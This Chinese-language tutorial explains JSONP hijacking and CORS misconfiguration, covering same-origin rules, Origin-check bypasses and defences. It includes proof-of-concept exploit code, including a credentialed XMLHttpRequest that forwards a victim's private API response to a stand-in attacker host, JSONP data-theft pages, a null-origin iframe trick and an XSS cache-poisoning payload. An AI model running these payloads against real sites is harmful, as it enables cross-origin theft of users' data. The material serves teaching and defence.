JSONP劫持CORS跨源资源共享漏洞
字数 2446 2025-08-18 11:38:52
JSONP劫持与CORS跨域资源共享漏洞详解
一、同源策略基础
1. 同源策略(SOP)定义
同源策略是浏览器的重要安全机制,用于隔离潜在恶意文件,限制不同源之间的资源交互。
同源判断标准:两个URL的协议、域名和端口完全相同才视为同源。
2. 同源判断示例
| 比较URL | 结果 | 原因 |
|---|---|---|
http://www.example.com/dir/page2.html |
同源 | 相同协议、主机和端口 |
http://www.example.com/dir2/other.html |
同源 | 相同协议、主机和端口 |
http://domain-ip/dir/page2.html |
不同源 | 主机不匹配(需要精确匹配) |
http://www.example.com:81/dir/other.html |
不同源 | 端口不同 |
https://www.example.com/dir/other.html |
不同源 | 协议不同 |
http://en.example.com/dir/other.html |
不同源 | 主机不同 |
二、跨域技术实现
1. JSONP (JSON with Padding)
1.1 实现原理
利用<script>标签的跨域能力实现跨域数据访问:
- 请求动态生成的JavaScript脚本,带一个callback函数名作为参数
- 服务端收到请求后,动态生成脚本产生数据
- 在代码中以产生的数据为参数调用callback函数
1.2 漏洞挖掘方法
- Google搜索:
site:target.com inurl:?callback - 浏览器调试工具搜索关键字:json/jsonp/callback
1.3 防御措施
- 严格校验Referer
- 增加CSRF Token
- 严格按照JSON格式标准输出(
Content-Type: application/json; charset=utf-8) - 对callback函数进行长度限制和特殊字符过滤
2. CORS (Cross-origin resource sharing)
2.1 CORS标准
W3C标准,允许浏览器向跨源服务器发出XMLHttpRequest请求,克服AJAX的同源限制。
2.2 常见错误配置
-
ACAO与ACAC头错误配置
add_header "Access-Control-Allow-Origin" $http_origin; add_header "Access-Control-Allow-Credentials" "true";这种动态生成访问控制策略的方法可能导致任意网站跨域读取资源内容。
-
Origin校验绕过
- 包含匹配:构造
https://malicious.example.com - 前缀匹配:构造
https://example.com.malicious.com - 后缀匹配:构造
https://maliciousexample.com - 子域名匹配:控制目标站点某一子域名
- 包含匹配:构造
-
信任null源
Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true攻击者可利用iframe sandbox构造Origin为null的跨域请求:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,'> -
HTTPS域信任HTTP域
中间人攻击者可劫持受信任HTTP域,间接读取HTTPS域内容。 -
信任自身全部子域
某个子域XSS漏洞可能危害其他子域。 -
Origin:*与Credentials:true共用
浏览器会报错,部分Web框架会将其转换为反射Origin,导致安全问题。 -
缺少Vary:Origin头
当Access-Control-Allow-Origin动态生成时,需指定Vary: Origin标头,避免缓存攻击。
三、漏洞利用技术
1. JSONP漏洞利用
1.1 基本POC
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP-POC</title>
</head>
<body>
<script type="text/javascript">
function callbackvalue(jsonp) {
alert(jsonp.name);
}
</script>
<script type="text/javascript" src="http://domain/contents?jsoncallback=callbackvalue"></script>
</body>
</html>
1.2 jQuery实现
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP-POC</title>
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
</head>
<body>
<script type="text/javascript">
$.getJSON("http://domain/contents?jsoncallback=?", function(callbackvalue){
alert(callbackvalue.参数);
});
</script>
</body>
</html>
2. CORS漏洞利用
2.1 存在用户凭证的利用
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open("get","https://vulnerable.domain/api/private-data",true);
req.withCredentials = true;
req.send();
function reqListener() {
location="//attacker.domain/log?response="+this.responseText;
};
2.2 不存在用户凭证的利用
-
绕过基于IP的认证
利用受害者浏览器作为代理访问目标应用,绕过基于IP的身份验证。 -
客户端缓存中毒
结合其他漏洞(如XSS)进行攻击:var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','http://www.target.local/login',true); req.setRequestHeader('X-User', '<svg/onload=alert(1)>'); req.send(); function reqListener() { location='http://www.target.local/login'; } -
服务器端缓存中毒
利用CORS错误配置注入任意HTTP头部,保存在服务器端缓存,构造存储型XSS。
四、防御措施
1. 通用防御方法
- 关闭不必要的CORS
- 白名单限制:严格定义"源"的白名单
- 仅允许使用安全协议(HTTPS)
- 返回
Vary: Origin头部 - 谨慎设置
Access-Control-Allow-Credentials - 限制跨域请求允许的方法(
Access-Control-Allow-Methods) - 限制浏览器缓存期限(
Access-Control-Max-Age) - 仅在接收跨域请求时才配置跨域头部
2. JSONP防御
- Referer校验/过滤
- 增加CSRF Token
- 严格设置Content-Type为
application/json - 限制callback函数长度和内容
3. CORS防御
- 避免使用通配符
*或null - 严格校验Origin值
- 避免信任全部子域
- 不信任HTTP域
- 设置适当的
Access-Control-Expose-Headers
五、技术对比
1. CORS与JSONP区别
| 特性 | CORS | JSONP |
|---|---|---|
| 请求类型 | 支持所有HTTP请求 | 仅支持GET请求 |
| 浏览器支持 | 现代浏览器 | 老式浏览器 |
| 实现方式 | HTTP头部 | <script>标签 |
2. CSRF与CORS区别
| 特性 | CSRF | CORS |
|---|---|---|
| 目标 | 执行敏感操作 | 读取敏感信息 |
| 需要条件 | 用户登录 | 用户登录 |
| 利用方式 | 代替用户操作 | 直接读取数据 |